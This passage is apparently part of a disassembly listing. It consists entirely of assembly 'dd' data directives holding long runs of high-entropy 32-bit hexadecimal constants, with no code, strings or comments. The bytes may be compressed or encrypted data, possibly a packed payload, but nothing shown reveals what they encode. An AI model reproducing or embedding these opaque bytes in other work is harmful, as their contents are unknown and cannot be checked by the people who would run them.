0C791E44Dh dd 0F8E72972h, 23513C20h, 0CE9AC387h, 1DDE3192h, 8E2860A6h dd 1B11DC42h, 0B4952C84h, 0A9899340h, 183F002Dh, 77A6DB6Dh dd 1D0026E2h, 1AF6D6CEh, 4E6829h, 4A16F349h, 6317E87h dd 0CEEB001h, 0BB72863Ah, 8C0C7461h, 0BC290751h, 0A0DCFC8Ch dd 91743667h, 0AF0AEA03h, 0D00DD410h, 0DABFC6h, 1244407Fh dd 9D9BC14Ch, 6C016E16h, 78050824h, 5888EF0Dh, 9AC53DB9h dd 2083D300h, 0B3FDDE9h, 2B7D417Fh, 5004AC90h, 1887F80h dd 9E131CBDh, 0D014276Eh, 23212AE6h, 9C580FF8h, 1945D6Ch dd 0AC69C738h, 1920153Bh, 80790C21h, 0F560163Ch, 3DAA6300h dd 89BB788h, 0D10D0AE6h, 7C4B8Ah, 10673EE3h, 8975A49Fh dd 0F2335813h, 0FB90C0D7h, 1B2BDh, 377FC576h, 0C07D6E15h dd 0FA71A614h, 0CDAA03A8h, 467A3992h, 0D324D4B0h, 26AF0041h dd 1124D9Bh, 57A81801h, 0BB0ECBEh, 0A07F3CCh, 0CFA92CAh dd 237092B4h, 84C0B680h, 2102EF46h, 829439C7h, 9854C23Ah dd 7784280h, 0A9E7CBAAh, 0E94E9099h, 624462Fh, 3026C13h dd 0CB367901h, 599DE4Ch, 0E6CC71EFh, 850C1B7h, 7976120Ah dd 113A8018h, 0EB7F4FABh, 9CD99B00h, 7103948Dh, 7989116Ch dd 0F744C2EFh, 69846985h, 0E5EA9017h, 0E6FA8B23h, 182731C0h dd 22CFEFFh, 4115EE4Ah, 9CCC1091h, 0C3B8CA00h, 0D3220EB7h dd 993030Fh, 0FBA331CFh, 0CD916CB0h, 86341558h, 0B0891173h dd 21760098h, 0D99F6D8Ah, 0B381B07h, 892A0547h, 38F48E7Fh dd 0F6C78FDh, 2418C969h, 0F2104616h, 980021BEh, 0B4E7DABCh dd 4CEC348Ah, 6002907Fh, 0AD6675F1h, 0F300F059h, 0B6E6A056h dd 927E5Ch, 422AF911h, 1991BA3Ch, 6AE40B04h, 10C12F38h dd 0E062A7EAh, 8091DA81h, 0D325E855h, 2ECAAF09h, 78208486h dd 90075884h, 208F069Ch, 586D22CDh, 27F4B842h, 5CA90110h dd 6C1B58CCh, 0A061EC25h, 0AA020592h, 9DF01898h, 507197h dd 207F823Dh, 8E62A130h, 740AAB3Bh, 10904D7Bh, 25243B22h dd 0DC209E67h, 0D83C01B5h, 324FA101h, 490A7CC4h, 118F34F8h dd 28B63E10h, 0CC839C18h, 324B6AC9h, 3BFF3D90h, 0E49EFFF2h dd 5041502Eh, 78F402A9h, 8B9B0095h, 7C136E8Fh, 0F324674Bh dd 0E402470h, 3FF578B4h, 404F5CEAh, 3DCC0620h, 0FBA03236h dd 0E10FCB1Eh, 0E06D1958h, 9C959E6Eh, 539B008Ah, 0BBB5175h dd 9900784Ch, 372CD023h, 57F72A2h, 1D58F31Bh, 0B90C8483h dd 21F22F00h, 53DF0D44h, 90B3220h, 185DEE23h, 9C001479h dd 0F4356B90h, 5359016Fh, 0A27CFC71h, 4D9EC0C2h, 0C8207D4Fh dd 4BCC3A0Dh, 3534409Dh, 0AF3713Ch, 9636A300h, 84A55094h dd 0D29C0238h, 64B4493Bh, 0B820D47Bh, 780DA444h, 7DAB37F3h dd 7EAC6268h, 330024D9h, 94CCD48Ch, 869600D5h, 60771304h dd 4609B403h, 8556FB66h, 0C084CBA4h, 942620A8h, 3C204368h dd 7B553FE0h, 1ABD4300h, 17E39151h, 4C4702D0h, 0CEA47797h dd 440F9498h, 9F3F7D00h, 0E80480Ah, 9EE4E315h, 1C50928Fh dd 8F1BCAC2h, 920445Dh, 3C39EFACh, 902D80B4h, 4F0660h dd 0E137115Dh, 0D4FF7342h, 40C0691Eh, 0AE80A49Fh, 663CAC04h dd 7890507Eh, 0C72D13E7h, 1EBCE399h, 390F584Dh, 0E8981689h dd 0C1F950D7h, 0A3E6000Ah, 0DF3B86Fh, 0CD0B657Fh, 446AD03Ah dd 499D0018h, 0FDE7D176h, 4C014426h, 0E4A76D66h, 3C307E70h dd 6600045h, 9E65138Bh, 68164C05h, 0F4D02D93h, 98178227h dd 300D487Ch, 20413780h, 0A00037Ah, 2F259A96h, 2C1BE23Fh dd 11B0E7EEh, 629E089Bh, 0E82DBE06h, 0DEAEC421h, 7C10355Fh dd 9548C0B4h, 116B60h, 14A80CDFh, 0D45B509Bh, 16210B09h dd 181826C5h, 6FE280F0h, 7D2DF060h, 9C14B9CAh, 3155C7DBh dd 28C4C0A6h, 670043AAh, 8233B4E6h, 643BB302h, 0B07F10EBh dd 9BEA4788h, 0CC88FC93h, 80102549h, 0B3024C71h, 0FC6073E0h dd 907196h, 16F70C59h, 91007A44h, 15A98AAEh, 2F92602Bh dd 2098A5A2h, 0C09C376Ch, 0E8A64B62h, 9141B4E0h, 0EC858084h dd 0EEF2B36Fh, 0F43A940Fh, 0CA99EBD0h, 7EEDC02Ch, 404C9C85h dd 6C1161DFh, 30FD242Eh, 76E5AB01h, 0A82C969Bh, 0D2010D3Fh dd 68814C58h, 0EA7C31E6h, 0F4907C59h, 9F00658Eh, 38E5CF4Dh dd 8CBE2C00h, 72925DDEh, 0C9E41217h, 0F8B3BDh, 0AEC0CDF1h dd 0E8F228h, 0AB881494h, 6FE3BC76h, 0F4A65CEEh, 17C5D700h dd 1C931226h, 371300BEh, 0ED9BD9CAh, 0AA48D83Fh, 12AC078h dd 0E19DC22h, 23685169h, 0D4C7A03h, 5C83B682h, 2A88CC27h dd 6C747BBBh, 0CC88BC4Ah, 0D34188BEh, 8F0EB8FCh, 6285FAh dd 0F3564C75h, 76D9F803h, 0CF3A0952h, 944116CCh, 2D8C4DB7h dd 0E31000ECh, 0E594C50h, 0C2609C6Eh, 9E022025h, 58012BF1h dd 1282106Ch, 3A44495h, 0D5F4042Dh, 58981848h, 0B402BB37h dd 1125ED29h, 22F08E60h, 44450D68h, 0DCD1006Ch, 0AA8B8264h dd 8D13BC75h, 4030589Dh, 0B757ECh, 0F67EC4BDh, 85A625F5h dd 16F0FC00h, 3B493606h, 70CB2897h, 0EF1A3C48h, 60E9AC81h dd 0F8D954B2h, 0C70FA0D4h, 4346B047h, 7C1F9E0Eh, 2EBB7DE9h dd 400C3992h, 9D3B94E5h, 0D2075C93h, 8E70DFBEh, 1060B97Bh dd 0C4EE69A2h, 0B0A8DAE7h, 0D22E71C1h, 410CF1FCh, 129901BCh dd 1707A85h, 9B262AC9h, 717C3E37h, 754CFCC8h, 506AD200h dd 12104334h, 9A09A1Dh, 0D99142B4h, 3023853h, 98829C83h dd 0FF8E998h, 0CF32A299h, 22657740h, 43D1E05h, 536A0EB8h dd 0CC3D45CAh, 0DF006CA2h, 7A794D1Fh, 9B01F7B0h, 0D22DD444h dd 0BC324537h, 2FD33000h, 2223A22Ch, 83209B00h, 1E0EFADCh dd 85D009D5h, 5020256Dh, 3B455942h, 50067300h, 0E6A792B0h dd 93EF2D4Dh, 8C644409h, 0A0A9C800h, 0BBE71FB4h, 8BB00AD8h dd 48118F4h, 0E46D10FEh, 0E003104h, 5EE10D7Eh, 806877h dd 45D1C3B3h, 8D704998h, 5310754Ch, 806E3D48h, 0D75A9D3Ah dd 8D12Ch, 732F8015h, 3C4701F0h, 90808D4Eh, 0C07170E6h dd 0F395D069h, 0A0B8B64Eh, 0C4B71125h, 2ABD4530h, 0E01F4422h dd 9BB4B0Fh, 226C7F5Ah, 402CDCD2h, 9140C8E8h, 58EE29Eh dd 59F782C9h, 3BF820C8h, 0E1E06AD8h, 0E910EC17h, 0E96E44C8h dd 187E7F10h dd 5C272BE5h, 8E93E0Fh, 20175B13h, 262E0C8Ch, 190860Bh dd 45ADB2CEh, 40047020h, 5D3B6000h, 0A6A0199Ah, 70E9C84Dh dd 21C0429Ch, 66649D2h, 45D80085h, 762322E6h, 7F1263E8h dd 98C8C482h, 0A63E01EFh, 0B3FF4094h, 801CD55Eh, 0D5D1F5B9h dd 2B57FAh, 0C9FB7269h, 5EC40CB2h, 0C7CBFC07h, 0EFC6AC45h dd 7C070031h, 0B45F68DDh, 9A014869h, 1AEC11E9h, 243E1E6Dh dd 1FF0A80Ch, 0B41F7F5h, 0E3947842h, 82E023CEh, 0F1FC2AC3h dd 134C32C8h, 9884927Fh, 87A2E008h, 0E0E29BFEh, 8ACA981Bh dd 940C5716h, 10C07013h, 97B3CDB4h, 0E5D41880h, 81C24C18h dd 90071099h, 5C3BA1B8h, 0A890A041h, 64D88026h, 494406Ah dd 0E83FDC34h, 7F4A0758h, 1A00525h, 0C0784D8Bh, 67018F0Bh dd 6A217122h, 2C319280h, 824F3462h, 8A210618h, 44602981h dd 84189095h, 4F05000Ch, 0AA17303Fh, 242F92DEh, 883022AEh dd 11582A87h, 8E227CE1h, 209E093h, 9EE37643h, 50DE23FFh dd 2E388640h, 3415120Fh, 7F340460h, 0E7DCE48Dh, 0EF31C1FAh dd 0C56B49DBh, 7C20E4h, 0E660280Ah, 2233B62Ah, 7D666D12h dd 897FD805h, 0BCE780A4h, 0B72E4564h, 0AB0D0B08h, 2F98E4Fh dd 796778CCh, 8A620028h, 0A3CF51Eh, 2F04DE74h, 0B3B926Ah dd 2D13B4F8h, 394002EAh, 0CCA00C08h, 0F975E37Fh, 0C18A9612h dd 646E7C04h, 0A1E6C880h, 9E810260h, 688CF49Dh, 0A0BAF8E4h dd 9BB735FAh, 0F4602058h, 0B4195868h, 884A8411h, 0A200C5B4h dd 0B33A7C6Dh, 0ADB5DCh, 0DF59CAB0h, 0A47FEB74h, 1087810Ah dd 7908FC98h, 362203AAh, 6011ECEAh, 885A0C86h, 4060FE8h dd 8AB4816Ch, 43A54538h, 40A4F418h, 2F9B7382h, 0D700781h dd 8416E567h, 2D10F96Eh, 7750C8F2h, 0CC9500DDh, 468CC69Dh dd 0DE009153h, 5476A886h, 48988F75h, 9F0108C9h, 396C877Fh dd 8B7C419Ch, 88D408AEh, 6400B5DBh, 0A2D3BCC3h, 52FC59h dd 0FDE0518h, 0A7016E30h, 3CC37D2Ch, 2738E680h, 981F975Eh dd 98ACE044h, 9F82C54h, 0B5AB0EA8h, 179C7CE1h, 611C04Ch dd 0CA37E04h, 0C0E8E0B8h, 4CD1E2C0h, 670F51C4h, 40C7FBA7h dd 0DB28C11Eh, 2F6D049Eh, 85B52998h, 802CA8E8h, 1972F0A8h dd 0FE27FF5h, 0A091CD33h, 0E49713E2h, 13FF891h, 0F4220AB0h dd 4C006C22h, 75B973CFh, 795F76Ah, 53674DD3h, 0D56C9061h dd 0E1319D36h, 23394846h, 8E0CA042h, 274B0324h, 93F83B7Dh dd 0EC136709h, 0E9123885h, 7E0D02A0h, 0E46D1740h, 55E4005Ch dd 0B8E1B742h, 6201121Dh, 6718B9D4h, 420CBBEh, 0F2864070h dd 94000099h, 694584FBh, 41B80022h, 5D61AFF9h, 0FD72766Ch dd 6EAEE60Fh, 6CC7B2D0h, 269F26C3h, 40F49571h, 0C6B7AB73h dd 6AE93F01h, 623C04F9h, 43EC3D0h, 0A6D1DDDAh, 30DC8929h dd 2F88DB8Ch, 5CD90047h, 5552CD6Bh, 7180FD19h, 0B8EA5028h dd 76E43783h, 0C41A3B78h, 6207C94h, 0B63C256Eh, 7100206Ch dd 4C4E7810h, 18379C8h, 27F1B1B9h, 6A1D3A04h, 6CCA8010h dd 989C71ECh, 429A45ECh, 0F85905F4h, 48790346h, 28223C76h dd 338FE481h, 598522A8h, 5C40E0E7h, 94162D3Bh, 0F838EC49h dd 9200108Eh, 185F39D8h, 30C6A2h, 31060CCFh, 9722E727h dd 6606B890h, 14E611B7h, 6CD44450h, 0C1903858h, 26F5D80h dd 811DC28h, 0D0670012h, 0CB652FA0h, 6A7F0B22h, 5410831Ah dd 75E815BAh, 0F717C8E9h, 7C003A90h, 55D5E8DAh, 7AF51C2Fh dd 4635130Dh, 81C0817h, 16756780h, 25894241h, 0C4E64DECh dd 96F09F80h, 0B75C4900h, 95E769A7h, 11C30023h, 0F32AE8A0h dd 24246C0Ah, 764F80C2h, 0D9B52820h, 0B9C50002h, 8058DF6Dh dd 9300F856h, 0CA86F38Dh, 0E90E0E3h, 41FF746Ch, 4C26D120h dd 544BCD91h, 80134084h, 3973D0C8h, 83253B89h, 787C7042h dd 0CA1E78h, 42C94E2Ah, 0DA9F0D19h, 80675A3Ch, 0EB7850E1h dd 0D2026E9Ah, 0D6C0E059h, 0DA8F291Eh, 172B9240h, 973D413Ah dd 2DE76C01h, 91FE4CBh, 0F3504C02h, 0E0604FDDh, 0E065E224h dd 0E02CB85Ch, 15CB938h, 0BD57C2E1h, 7846DA7Fh, 907EFE05h dd 64DCB87Ah, 22B01CC6h, 513C0028h, 0EFAAB43Ah, 631C7B50h dd 6D783017h, 8AB570C8h, 800174C3h, 59C0B82Eh, 2C5067A9h dd 4A46B7B5h, 812C253Bh, 2FABCDB7h, 44860422h, 99D70174h dd 9EDC914Dh, 13A4393Bh, 0E0A5EF10h, 0F501B473h, 1434F4A3h dd 44B461F7h, 844DC88h, 0CF238F00h, 79DEFC47h, 65350085h dd 5646A062h, 0E0014E21h, 9D99C42Fh, 0C034FFF1h, 1660BA76h dd 0A7D65B10h, 6DA8004Ch, 0A0C6AAA6h, 728500B6h, 97F57CDBh dd 88F47952h, 0F0BA8C34h, 0A4AEB883h, 0E914142h, 0A34078FEh dd 0F6F27882h, 487CABh, 34CD8E85h, 0BABB102Ch, 1A094D04h dd 20C895B4h, 1218008Bh, 10640E15h, 0CB90C4Eh, 57C0059Dh dd 3BD71E5h, 0B48F3D31h, 639A700h, 0FC8C1BBBh, 1613102Fh dd 0E876093Ch, 747A8B64h, 0E160F000h, 0D261EC12h, 0AC4737A4h dd 1E4CC308h, 0ED68E388h, 0C48DF00h, 0F3D9ADD1h, 0DCE43EC7h dd 40570B18h, 8C7900Fh, 65A002D2h, 1E0392h, 0DE586E4Dh dd 0FA118C98h, 58E56930h, 0E6379460h, 49A10045h, 44037B2Ch dd 950043B3h, 0AB67CF18h, 63E1E9B8h, 910F31E3h, 87D0613Fh dd 13D3B968h, 0F5F48E50h, 585501E3h, 0B1DFE7DCh, 8F82E5E9h dd 1411E139h, 163226Ch, 6DF459F8h, 7079D7FFh, 2406C941h dd 2BE3F14Eh, 51A46069h, 46F5EA34h, 0C09B0F88h, 0E7A5C121h dd 63E89556h, 0F0DC753Ah, 0AE064BFEh, 64B3ED4Ah, 0BED01E49h dd 89E51848h, 4F00F41Ah, 0BC3C5CF3h, 5FFD577h, 0C9EA4B32h dd 5E3408E6h, 0A75380BFh, 0D4217E3h, 83EEBAh, 32884486h dd 31A20FACh, 39D3EC30h, 616B5DD2h, 6377E9AEh, 0A31982ABh dd 84BAFDE9h, 90589A30h, 0A179E56h, 1C0039E8h, 8672AEB0h dd 0A7AB01F4h, 0D36E65B2h, 0C4A448B3h, 5BC82B00h, 0FECB7741h dd 31E00059h, 0E64BBBAEh, 7A041929h, 7842B3DBh, 70F8E905h dd 1ED1696Ch, 821D9000h, 6E2FD40h, 0FCFF7381h, 5DEA0A6Eh dd 11C69E8h, 5A72AD7Ch, 0DCCDF133h, 1A00489Ah, 0C306BC65h dd 1D8B4BA8h, 9FB2E337h, 44E24770h, 5F0FB31Dh, 13D67100h dd 0D81C0E1Eh, 32C900B6h, 4BB24C94h, 0E01CE2B9h, 44FFEA44h dd 2D0F872h, 70D15280h, 0B090E768h, 0AC00CBD5h, 1C5A3F3Dh dd 23E731Eh, 0C0D0FEABh, 62DF6A83h, 335C9094h, 7A5C0031h dd 0AA92746Fh, 0FEFACC0Ah, 0EF152B15h, 303068C0h, 0CAF82700h dd 1F12CBh, 888CBADBh, 0F51BA873h, 0E15F9209h, 84241226h dd 2B20EA74h, 18267D9h, 381177D8h, 9A04Ch, 0F8187E92h dd 0DB302891h, 0EB747300h, 0AF0530Bh, 0DA9B0AACh, 746476h dd 18FAD041h, 55F8D7A6h, 441981E3h, 0DB58CD67h, 200F81DCh dd 0A77EEEC8h, 1492E001h, 4E5676C0h, 705C9180h, 735D620Dh dd 80F17163h, 776AC172h, 574E1181h, 0E69F4AFCh, 96F517E0h dd 0E0D34B00h, 27C0AD52h, 14D024E2h, 12F747A8h, 0DC81D340h dd 0F2EF484Bh, 12857808h, 0D50E5562h, 0CE35C054h, 16F68203h dd 297AE7h, 0E2B4C2E5h, 477CA32Bh, 8C99D660h, 30A2B29Eh dd 0F1F1A50Ah, 0C706B9B5h, 0E21EE5ADh, 0E3400061h, 663BDA5h dd 137F3BFBh, 0F8EAD800h, 73F9BFFFh, 0F66F01DFh, 69F2963Dh dd 6D3994EDh, 14901DB3h, 44C68C07h, 7AC401FEh, 0E187725Dh dd 2AE3D8F0h, 32E164F4h dd 29A01324h, 24819EDh, 704600D8h, 65EEF336h, 917903FEh dd 77567430h, 345D313Eh, 0C48C615Eh, 9B8700BBh, 77171433h dd 9F0E6629h, 67EF491Eh, 53B728EAh, 0ACE33FA7h, 7BA100FEh dd 290C85F8h, 0ED033483h, 6E6FEF52h, 758798BEh, 0E0F61727h dd 7850017Eh, 56F41FDFh, 1248D884h, 68D7827Ch, 486556h dd 48B60340h, 2500DF11h, 2D99309Bh, 175B4DDh, 0C23E3C05h dd 85540A97h, 9DB84231h, 0F3C122C0h, 0BB4B0078h, 2A1179C4h dd 4750E1CAh, 69D6D9CBh, 687E1503h, 77900965h, 6C195756h dd 0BC28206Dh, 0CECFC412h, 402CB013h, 75590061h, 9DF8048Ah dd 8E140846h, 0C0A897h, 0C140B609h, 13C3D980h, 336D76E3h dd 6EC1BAC0h, 0B9384092h, 0FD075780h, 0DEDC18B3h, 5C55FA80h dd 6B7711EFh, 0E8547F13h, 5A001998h, 0E19B911Bh, 0E2894E2Fh dd 695D31DEh, 0EECCF021h, 10632441h, 0DFA66A77h, 32701249h dd 0C8421AB8h, 8048D488h, 0BB46970h, 1B00AA7Bh, 4D95CFE6h dd 6BFE95Ch, 68D0ABACh, 0C200D1EFh, 55B55FCBh, 3C18701Dh dd 2A00E38Ch, 8DD0F178h, 7E0471C6h, 29B373F8h, 0E5C16497h dd 71BB980Ah, 0BB0024BCh, 8A4A25EDh, 8D1FB353h, 0BC2D41h dd 0F194E634h, 0C8D07C73h, 5C80ABA8h, 0AADA4C6Dh, 66FA26E9h dd 15F640D8h, 9C098C96h, 2773EE5h, 0DFA231D5h, 0F900BEC3h dd 70185AECh, 618E292Fh, 47F130E5h, 8821807Eh, 7F15E078h dd 8D4F24B4h, 0E1440FACh, 889F640h, 0D4B05914h, 22BCFD22h dd 85008D0Ah, 0F96C76D6h, 5DBEBC3h, 0E10B1956h, 739FC04Eh dd 0C8902146h, 0C2D2A30Eh, 9439B811h, 48EB1CB8h, 0A1B4EA33h dd 0F180EE8Ch, 0D321BEE2h, 730058BBh, 74F9EDF8h, 9111E3C2h dd 5854280Ch, 48C45CD6h, 0AB008C5Fh, 64DDA788h, 21F138DBh dd 0DA13D9FEh, 7FCD31E0h, 0BC444Ch, 9F37B2FAh, 64B643A2h dd 88481880h, 0C000F52Ch, 0BE8DA3BCh, 183C42Fh, 796645FDh dd 80487E78h, 0A5C9F061h, 4A19DDh, 930820F1h, 97B990CFh dd 0E8981890h, 851D08A6h, 54405F07h, 6D4C2C3Ch, 84F70008h dd 2B05DC6Ah, 466CEA98h, 902F90E0h, 0C8684CA0h, 0A3318680h dd 0E1001F27h, 9D3336A6h, 4C806ABAh, 0DD0E4707h, 0DBE5CF9Ch dd 0E19C04EAh, 0D844C80Ch, 0B207E417h, 94567020h, 8F5D074Dh dd 508D959Ch, 9E53118Eh, 8625873Ah, 9657744Ch, 3FB330B9h dd 0C2371C39h, 0B104BE0Fh, 0B4BA81D8h, 0CDE047E0h, 7DFB048Bh dd 47ACDE97h, 0EF7B6A4h, 0EC5F2DD0h, 0AA712C5Dh, 38184990h dd 0BD0B88BCh, 80FDCE1Ah, 84BFC9B1h, 224490B0h, 0A898EDFAh dd 79FC1903h, 0F7B465A8h, 88E16740h, 4810B01Ah, 7B80380Fh dd 85AF4044h, 71A84730h, 58AFCh, 0ED6A069Ah, 0D8BEF10h dd 263AC276h, 54BA01E2h, 6A76CFF1h, 23A1836h, 59288480h dd 8D07942h, 0E5DFE212h, 3C8024DCh, 0FA83A1DDh, 752E0B04h dd 0A344050h, 80022700h, 5ADB9520h, 4324268Ch, 0C44B0324h dd 0E100BB68h, 0EFA7EA70h, 484A8Dh, 0E99C2BC7h, 5DC92883h dd 410FDDFCh, 0E1FE6912h, 1D9DAF61h, 0A720E4h, 8A824F59h dd 57698C19h, 0A253C006h, 1B206580h, 2837E772h, 27C361C0h dd 0A4E9B101h, 0BCF6A48h, 8C5B03F2h, 300F3100h, 98EE4A26h dd 0B673F9h, 2EA5DB01h, 1DD4797Fh, 42C98408h, 0D3A780A0h dd 0B18B5AC1h, 0AF3E4B0Eh, 73C361C5h, 798138EBh, 6D39493Dh dd 0DE444041h, 96005A29h, 12E01AA5h, 11C0580Dh, 0A4FEFBh dd 75C2C5A7h, 0C1C779h, 58135A4Bh, 0BA6AE76Dh, 0C0B90960h dd 3B7F0EEEh, 0D91B7CD5h, 0C1E8190Ch, 5011D59h, 9F17B543h dd 3FDC1514h, 0DA6F6010h, 6CFC73Bh, 0AC011290h, 5201451Dh dd 818179B7h, 0DCE8E7E1h, 0BD988F25h, 0A8E039B8h, 843AAC4Ch dd 0E549C005h, 0DE001C0Ch, 94F8A5C1h, 8DBF3152h, 8064A031h dd 4AFA3BD9h, 7426DB7Bh, 0B4E60088h, 53EDE399h, 31C9A5BAh dd 58F380ACh, 6223F177h, 33F0683Fh, 61037080h, 800E630Dh dd 40F36972h, 2152E06Bh, 0E84CF1B3h, 10743AEFh, 21CC200h dd 4AAB2718h, 0BC66973Fh, 0BF05FA67h, 78688D69h, 162680Eh dd 0C0F85C5Ah, 5B8820F3h, 0EC80DF75h, 212090E0h, 7E1121B5h dd 3B257600h, 46715AC0h, 7A9EF303h, 1A6BB52h, 5895D521h dd 0F07EA3A0h, 716FD8BCh, 0D9C50318h, 3F51000Fh, 21357B1h dd 8C7FC2D3h, 9562C000h, 61C858BDh, 69A120E0h, 0F57EA779h dd 36ADC000h, 0E61549DDh, 0E5AB020Fh, 0EC77D2DAh, 3CA04446h dd 0A062526Eh, 3C67D0h, 0D3ADF261h, 0ABB55C00h, 0E5A237C0h dd 3E511F03h, 41399B72h, 4764B040h, 11F93890h, 64DCF72Ch dd 6BB600DDh, 3B36384Dh, 1619AA51h, 4BF0E525h, 2C2F5D02h dd 1C57C11Fh, 80F5251Ah, 0F70F7E0h, 6D19D632h, 46384C01h dd 8C66C501h, 0C9587C79h, 425D405Ah, 91F03D40h, 5F8E008Ch dd 0B340FEAEh, 0D2D6E500h, 7AB86D48h, 0EDC01216h, 3E5800D5h dd 0F3F17250h, 48F084A9h, 0F8F321C0h, 0C000642Bh, 0D1B02756h dd 3FD74DCh, 0FA5CB68Ah, 0D3CF5541h, 0C9506126h, 44843608h dd 7E00C07Dh, 3578A29h, 48F7FA3Ah, 0B031BCC6h, 81ADAA98h dd 0F173E888h, 3512229Ch, 15FC4420h, 450F0008h, 0B8EDD99Dh dd 3F6283E5h, 0A23D4B8h, 0A8211B4h, 0CCB96A47h, 1785843h dd 0D2396319h, 0D0D9234Bh, 2D900559h, 350925F8h, 824D859Bh dd 1074BF9Ch, 52883BECh, 0FC91A3h, 212D2F27h, 0F9C6DEFBh dd 295078h, 11543CF7h, 1D9F65Ah, 1184A84Ch, 0F0184FE9h dd 0F40D993Eh, 85518F00h, 54E1AE1Ah, 0D8D8CA45h, 0D9181984h dd 0D7B4203Dh, 0A9A05F18h, 0E26D1CEh, 790EC555h, 0CBB56262h dd 6483860h, 0C3584E00h, 21239E1Ah, 6A1C44F3h, 20ACB855h dd 0C5034998h, 0C4BAA35Ch, 5AC3A070h, 79F93FAFh, 0B0A9C203h dd 0B1004D78h, 411A5582h, 6F44B2Bh, 66B125CDh, 0E0E240EFh dd 0FB27D90Dh, 90A869A2h, 0D447014Ch, 61CF3648h, 0AAB32121h dd 0FF035C21h, 9FA0E90Eh, 0EA201F75h, 7A5B0A73h, 0DA5187B0h dd 0C0D0722Eh, 0C2013487h, 842996FBh, 75220E5Ch, 80BA4A20h dd 0D72E008Fh, 72264337h, 0CD053087h, 3B5A08BFh, 1AC0D434h dd 1F5956h, 0DD8CB6B4h, 53DCA4C2h, 5190BE30h, 0C03C7D47h dd 0D988E431h, 0CB19303Ah, 0F9896CA0h, 6A14FCh, 0A3C35E8Eh dd 8A8DF09Bh, 0ABE96700h, 0FFD07C41h, 0D36A24A4h, 272141CCh dd 79418F60h, 71FD0558h, 8704A020h, 6C282C37h, 3EF404D4h dd 0FE448123h, 0D02709h, 6F6038B6h, 5FDD3D0h, 9177B833h dd 5D03C099h, 973E42BDh, 0EEB4811Dh, 79304EE3h, 0C8388890h dd 61C5806Bh, 0B79EADF0h, 160C7001h, 0EA77AB3Bh, 611C5C22h dd 0F1BC68B5h, 3971C310h, 2621310Ah, 8C092463h, 11780FC8h dd 0EB105830h, 0C1D03E5Eh, 872D0020h, 0B6A9187Eh, 9A9600EFh dd 78F3A67Fh, 61006D04h, 0C18B9BA0h, 9C0395Eh, 3899EACFh dd 7847C882h, 230D010h, 0DCB1061Eh, 0E060D164h, 9209C0B3h dd 1A60FE21h, 804C4518h, 90D74CBFh, 7015EC43h, 9380C517h dd 8EA0A037h, 0FE45720Bh, 0C1800086h, 0E9F31362h, 0AB7A0159h dd 91A9940Ah, 0C0138870h, 718AEC30h, 18E000ACh, 9643A234h dd 37E3E6Dh, 6C45C48h, 7CB853CDh, 0AD191869h, 5178181Ah dd 6D62E1C0h, 0E0DF71h, 0CEAC3FA6h, 3CEBA252h, 5FCA7601h dd 88F22189h, 0B685424h, 9B5CEACEh, 1BA05483h, 983A8900h dd 5587C6E7h, 5C390026h dd 5EBB151Fh, 340417A9h, 745B4361h, 30B3F447h, 5DBFA3D6h dd 679BCF00h, 0EAFB404Ch, 70B24815h, 1AC04507h, 0EE27F0AFh dd 2D3D5471h, 79B91377h, 3DD3C004h, 7201F854h, 153FBB58h dd 71872F0h, 2910B0DFh, 7D5F7F90h, 38847583h, 0D58FBF9Fh dd 0F518953h, 13526847h, 64C1C024h, 0C872A2CEh, 0E972A018h dd 0AF018560h, 27834C74h, 0C84018FEh, 803CE473h, 4400FF65h dd 0A36F640Bh, 162FDC7h, 8AC06A07h, 8E66FA21h, 468BC549h dd 5B8A5D7h, 5B3D1D47h, 69DC88ADh, 7AF7FB88h, 0ECA0094h dd 35824E87h, 0DB003CD2h, 0C6B9CC6Ah, 5EAC1Fh, 0B805B5FDh dd 4ED6E42Eh, 4498111Eh, 0CC5DC600h, 330E4059h, 9A1189B7h dd 0CB2AC0E0h, 0C96D0B07h, 4D40E78Eh, 0CFAB323h, 67DB5B27h dd 0B7F86E61h, 59B539CDh, 1B6410E2h, 21783507h, 20FE2F5Ch dd 0C49C5E31h, 1F0A0E7Dh, 2BC07ED1h, 0F7351443h, 4ED36300h dd 0D267386Eh, 0DDC9189Dh, 0B75D68DAh, 428F44h, 9BB6F66Fh dd 0FF8CD038h, 44463B00h, 476E920Fh, 52CF030Dh, 5E580ECDh dd 0E9C9A81Ch, 37C24977h, 0DB860FBFh, 0FB01C96Dh, 26F53603h dd 23C02479h, 51280050h, 20804CDh, 84504C6Eh, 2F01436Ch dd 7E68B357h, 198039CDh, 511763B9h, 0C0D042CAh, 6CDEC684h dd 0AF281C69h, 556080C1h, 48E16B22h, 61605AB0h, 1AF56721h dd 0F7763CB0h, 0E4E03480h, 42C0DF19h, 0D59C0400h, 6F8D5847h dd 61BA6052h, 0F3F56361h, 0C40E70A0h, 0A0D2CB88h, 62F0C9F4h dd 10CD9189h, 0D2DA1080h, 0E4A0C1CBh, 0B288F950h, 0F121C0B3h dd 0C3FC2DD6h, 47CEED00h, 18FDD4F7h, 0A85E3C71h, 0CC7E7714h dd 0F7CAD9C0h, 886C6811h, 1B52A92h, 9714852Eh, 80C9B2CFh dd 24E39C59h, 2CABACh, 0E44D71B5h, 4679E011h, 0E1F2EA39h dd 20D8C929h, 402CE99Ch, 843A2743h, 0C1174DFh, 0C201BEB3h dd 0B1A2F831h, 4536F411h, 84D1F504h, 0C601543Dh, 0A27FB75Ch dd 580044E1h, 0B685E86h, 0C46782h, 17727CE8h, 89B45DE5h dd 41C73B7Eh, 4488586Eh, 47040C0h, 1CE9FA4h, 7AB02B28h dd 98B4FA0Dh, 0C189B529h, 0C9E44DBh, 0D980D274h, 0B49A05C3h dd 14984E8h, 0B3210854h, 0BB6180C2h, 0CA5CF5Bh, 3AEC88h dd 0F52D258Eh, 4D75A414h, 711F37F4h, 9CC03DFDh, 4357B51Eh dd 42D30005h, 0DD665547h, 757C87B7h, 1B5AE718h, 196E4659h dd 0D1C72053h, 167D10BEh, 0BD180061h, 666B330Eh, 0B1C0DDF6h dd 84E145D2h, 0C9880086h, 0F35F2ADCh, 1F2C7EF7h, 2B01A622h dd 8527243Dh, 2EEE60h, 0CD7D04B9h, 546EEBF4h, 848C8C54h dd 71526Fh, 0CFFA5174h, 2459486Eh, 2B3D439Dh, 0A1803AC5h dd 0D3EC578Ch, 524770A0h, 2F016609h, 0D2EC045Ah, 0B0D54F47h dd 6386A861h, 921D25ECh, 3CECCEh, 0C54F7866h, 4859D65Dh dd 20264FE2h, 5CD8980h, 7DDF8810h, 8991B430h, 0CB021BCh dd 346A294Bh, 78747038h, 763A801h, 694A89A4h, 516EC98Ah dd 83479070h, 88CBF905h, 60AFA406h, 45BF19B5h, 